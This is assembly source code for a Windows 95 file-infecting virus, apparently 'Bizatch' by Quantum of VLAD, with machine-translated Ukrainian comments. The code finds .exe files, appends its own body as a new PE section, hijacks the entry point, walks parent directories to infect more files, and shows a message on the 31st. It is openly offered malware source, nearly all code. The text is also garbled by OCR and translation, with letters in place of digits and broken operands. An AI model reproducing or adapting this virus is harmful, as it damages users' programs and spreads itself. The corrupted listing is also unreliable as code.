[Відкриємо файл для читання та запису
gofile:
push Про
push dword ptr [ebp + offset fileattr]; FILE_ATTRIBUTE_NORMAL
push 3; OPEN_EXISTING
push 0
push 0
push 80000000h +40000000 h; GENERIC_READ + GENERIC_WRITE
lea eax, [ebp + offset fullname]
push eax
call CreateFile
. Збережемо описувач файлу
mov dword ptr [ebp + offset ahandj.eax
Перевіримо, не відбулася чи помилка.
. Якщо помилка сталася, шукаємо Наступне фото
стр ЕАХ, -1
jz findnextone
. Поставимо покажчик позиції читання / запису на полі
; Зі зміщенням РЕ-заголовка
push Про
push Про
push 3Ch
push dword ptr [ebp + offset ahand]
call SetFilePointer
; Вважаємо адресу РЕ-заголовка
push Про
lea eax, [ebp + offset bytesread]
push eax
push 4
lea eax, [ebp + offset peheaderoffset]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
. Поставимо покажчик позиції читання / запису на початок РЕ-заголовка
push Про
push Про
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; Вважаємо число байт, достатню для обчислення повного розміру
; РЕ-заголовка і таблиці об'єктів
push Про
lea eax, [ebp + offset bytesread]
push eax
push 58h
lea eax, [ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
[Перевіримо сигнатуру. Якщо її немає, закриваємо
; Цей файл і шукаємо наступний
cmp dword ptr [ebp + offset peheader], 00004550h;
jnz notape
. Перевіримо файл на зараженість. Якщо файл заражений,
; То закриваємо цей файл і шукаємо наступний
cmp word ptr [ebp + offset peheader +4 ch], OFOODh
jz notape
cmp dword ptr [ebp + offset 52], 4000000h
jz notape
[Поставимо покажчик позиції читання / запису на початок РЕ-заголовка
push Про
push Про
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; Вважаємо весь РЕ-заголовок і таблицю об'єктів
push Про
lea eax, [ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax, [ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call ReadFile
[Встановимо ознака зараження
mov word ptr [ebp + offset peheader +4 ch], OFOODh
[Знайдемо зсув таблиці об'єктів
xor eax.eax
mov ax, word ptr [ebp + offset NtHeaderSize]
add eax, 18h
mov dword ptr [ebp + offset ObjectTableoffset], eax
[Обчислимо зсув останнього (null) об'єкта в таблиці об'єктів
mov esi, dword ptr [ebp + offset ObjectTableoffset]
lea eax, [ebp + offset peheader]
add esi, eax
xor eax.eax
mov ax, [ebp + offset numObj]
mov ecx.40
xor edx.edx
mul ecx
add esi.eax
; Збільшимо число об'єктів на 1
inc word ptr [ebp + offset numObj]
lea edi, [ebp + offset newobject]
xchg edi.esi
; Обчислимо відносний віртуальний адреса (Relative Virtual Address
; Або RVA) нового об'єкта
mov eax, [edi-5 * 8 +8]
add eax, [edi-5 * 8 + 12]
mov ecx.dword ptr [ebp + offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset RVA], eax
; Обчислимо фізичний розмір нового об'єкта
mov ecx.dword ptr [ebp + offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize], eax
. Обчислимо віртуальний розмір нового об'єкта
mov ecx.dword ptr [ebp + offset objalign]
mov eax.vend-vstart + tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize], eax
; Обчислимо фізичне усунення нового об'єкта
mov eax, [edi-5 * 8 +20]
add eax, [edi-5 * 8 +16]
mov ecx.dword ptr [ebp + offset filealign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicaloffset], eax
[Оновимо розмір образу (розмір в пам'яті) файлу
mov eax, vend-vstart +1000 h
add eax, dword ptr [ebp + offset imagesize]
mov ecx, [ebp + offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset imagesize], eax
. Скопіюємо новий об'єкт в таблицю об'єктів
mov ecx, 10
rep movsd
[Обчислимо точку входу RVA
mov eax.dword ptr [ebp + offset RVA]
mov ebx.dword ptr [ebp + offset entrypointRVA]
mov dword ptr [ebp + offset entrypointRVA], eax
sub eax.ebx
add eax, 5
[Встановимо значення, необхідне для повернення в носій
mov dword ptr [ebp + offset subme], eax
[Поставимо покажчик позиції читання / запису на початок РЕ-заголовка
push Про
push Про
push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
[Запишемо РЕ-заголовок і таблицю об'єктів в файл
push Про
lea eax, [ebp + offset bytesread]
push eax
push dword ptr [ebp + offset headersize]
lea eax, [ebp + offset peheader]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile
[Збільшимо лічильник заражень
inc byte ptr [ebp + offset countinfect]
[Поставимо покажчик позиції читання / запису
; З фізичного зміщення нового об'єкта
push Про
push Про
push dword ptr [ebp + offset physicaloffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer
; 3апішем тіло вірусу в новий об'єкт
push Про
lea eax, [ebp + offset bytesread]
push eax
push vend-vstart
lea eax, [ebp + offset vstart]
push eax
push dword ptr [ebp + offset ahand]
call WriteFile
[Закриємо файл
notape:
push dword ptr [ebp + offset ahand]
call CloseFile
[Перехід до наступного файлу
findnextone:
[Перевіримо, скільки файлів заразили: якщо 3,
; То виходимо, якщо менше - шукаємо наступний
cmp byte ptr [ebp + offset countinfect], 3
jz outty
; Шукаємо Наступне фото
lea eax, [ebp + offset win32_data_thang]
push eax
push dword ptr [ebp + offset searchhandle]
call FindNext
. Якщо файл знайдений, переходимо до зараження
or eax.eax
jnz gofile
; Сюди потрапляємо, якщо файл не знайдений
foundnothing:
; Змінимо директорію
хог еах.еах
lea edi, [ebp + offset tempdir]
mov ecx, 256 / 4
rep stosd
lea edi, [ebp + offset tempdirl]
mov ecx.256 / 4
rep stosd
Отримаємо поточну директорію
lea esi, [ebp + offset tempdir]
push esi
push 255
call GetCurDir
. Змінимо директорію на "."
lea eax, [ebp + offset dotdot]
push eax
call SetCurDir
; Отримаємо поточну директорію
lea edi, [ebp + offset tempdirl]
push edi
push 255
call GetCurDir
Перевіримо, коренева чи це директорія. Якщо так, то виходимо
mov есх.256 / 4
rep cmpsd
jnz infectdir
; "3аметаем сліди" і виходимо в програму-носій
outty:
; Повернімося в оригінальну поточну директорію
lea eax, [ebp + offset orgdir]
push eax
call SetCurDir
Отримаємо поточну дату і час
lea eax, [ebp + offset systimestruct]
push eax
call GetTime
Перевіримо число. Якщо це 31-е, видаємо повідомлення
cmp word ptr [ebp + offset day], 31
jnz nopayload
. Повідомлення для користувача
push 1000h; MB_SYSTEMMODAL
lea eax, [ebp + offset boxtitle]
push eax
lea eax, [ebp + offset boxmsg]
push eax
push 0
call MsgBox
; Вихід в програму-носій
nopayload:
pop eax
jmp eax
; Коли KERNEL буде виявлений, його зміщення буде записано
kern dd OBFF93B95h
; 3наченія KERNEL, відомі нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh
; Читання поточної директорії
GetCurDir:
; 3апішем в стек значення для отримання поточної
директорії і викличемо KERNEL
push OBFF77744h
jmp [ebp + offset kern]
. Установка поточної директорії
SetCurDir:
; 3апішем в стек значення для встановлення поточної
директорії і викличемо KERNEL
push OBFF7771Dh
jmp [ebp + offset kern]
[Отримання часу і дати
GetTime:
Перевіримо, який KERNEL працює
cmp [ebp + offset kern], OBFF93B95h
jnz gettimekern2
; 3апішем в стек значення для отримання
; Часу і дати і викличемо KERNEL
push OBFF9DOB6h
jmp [ebp + offset kern]
gettimekern2:
; 3апішем в стек значення для отримання
; Часу і дати і викличемо KERNEL
push OBFF9D-l4Eh
jmp [ebp + offset kern]
; Висновок повідомлення
MsgBox:
. Запишемо в стек значення для виведення повідомлення і викличемо KERNEL
push OBFF638D9h
jmp [ebp + offset kern]
. Пошук першого файлу
FindFile:
; 3апішем в стек значення для пошуку першого файлу
; І викличемо KERNEL
push OBFF77893h
jmp [ebp + offset kern]
; Пошук наступного файлу
FindNext:
; 3апішем в стек значення для пошуку
[Наступного файлу і викличемо KERNEL
push OBFF778CBh
jmp [ebp + offset kern]
[Відкриття / створення файлу
CreateFile:
; 3апішем в стек значення для відкриття / створення файлу
; І викличемо KERNEL
push OBFF77817h
jmp [ebp + offset kern]
[Установлення покажчика читання / запису
SetFilePointer:
; 3апішем в стек значення для встановлення
. Покажчика читання / запису файлу і викличемо KERNEL
push OBFF76FAOh
jmp [ebp + offset kern]
; Читання з файлу
ReadFile:
; 3апішем в стек значення для читання з файлу і викличемо KERNEL
push OBFF75806h
jmp [ebp + offset kern]
; 3апісь в файл
WriteFile:
; 3апішем в стек значення для запису у файл і викличемо KERNEL
push OBFF7580Dh
jmp [ebp + offset kern]
; 3акритіе файлу
CloseFile:
; 3апішем в стек значення для закриття файлу і викличемо KERNEL
push OBFF7BC72h
jmp [ebp + offset kern]
; Лічильник заражень
countinfect db 0
Використовується для пошуку файлів
win32_data_thang:
fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0
resv dd 0,0
fullname db 256 dup (0)
realname db 256 dup (0)
; Ім'я повідомлення, що виводиться 31-го числа
boxtitle db "Bizatch by Quantum / VLAD", 0
.- Повідомлення, виведене 31-го числа
boxmsg db "The taste of fame just got tastier!", Odh
db "VLAD Australia does it again with the world" s first Win95 Virus "
db Odh.Odh
db 9. "From the old school to the new.". Odh.Odh
db 9, "Metabolis", Odh
db 9, "Qark", Odh
db 9, "Darkman", Odh
db 9, "Quantum", Odh
db 9, "CoKe", 0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"
db "written by Quantum of VLAD", 0
Дані про директоріях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0)
Використовується для зміни директорії
dotdot db ".", 0
Використовується для отримання часу / дати
systimestruct:
dw 0,0,0
day dw 0
dw 0,0,0,0
; Індекс для пошуку файлів
searchhandle dd Про
; Маска для пошуку
fname db "*. exe", 0
; Описувач відкритого файлу
ahand dd Про
; Зсув РЕ-заголовка у файлі
peheaderoffset dd Про
[Зсув таблиці об'єктів
ObjectTableoffset dd Про
[Кількість записаних / лічених байт при роботі з файлом
bytesread dd Про
. Новий об'єкт
newobject:
oname db ". vlad", 0,0,0
virtualsize dd 0
RVA dd 0
physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h, 0,0, OCOh
Дані, необхідні для зараження файла
peheader:
signature dd 0
cputype dw 0
numObj dw 0
db 3 * 4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4 * 4 dup (0)
entrypointRVA dd 0
db 3 * 4 dup (0)
objalign dd 0
filealign dd 0
db 4 * 4 dup (0)
imagesize dd 0
headersize dd 0
; 0бласть пам'яті для читання залишку РЕ-заголовка і таблиці об'єктів
vend:
db-lOOOh dup (0)
ends
end vstart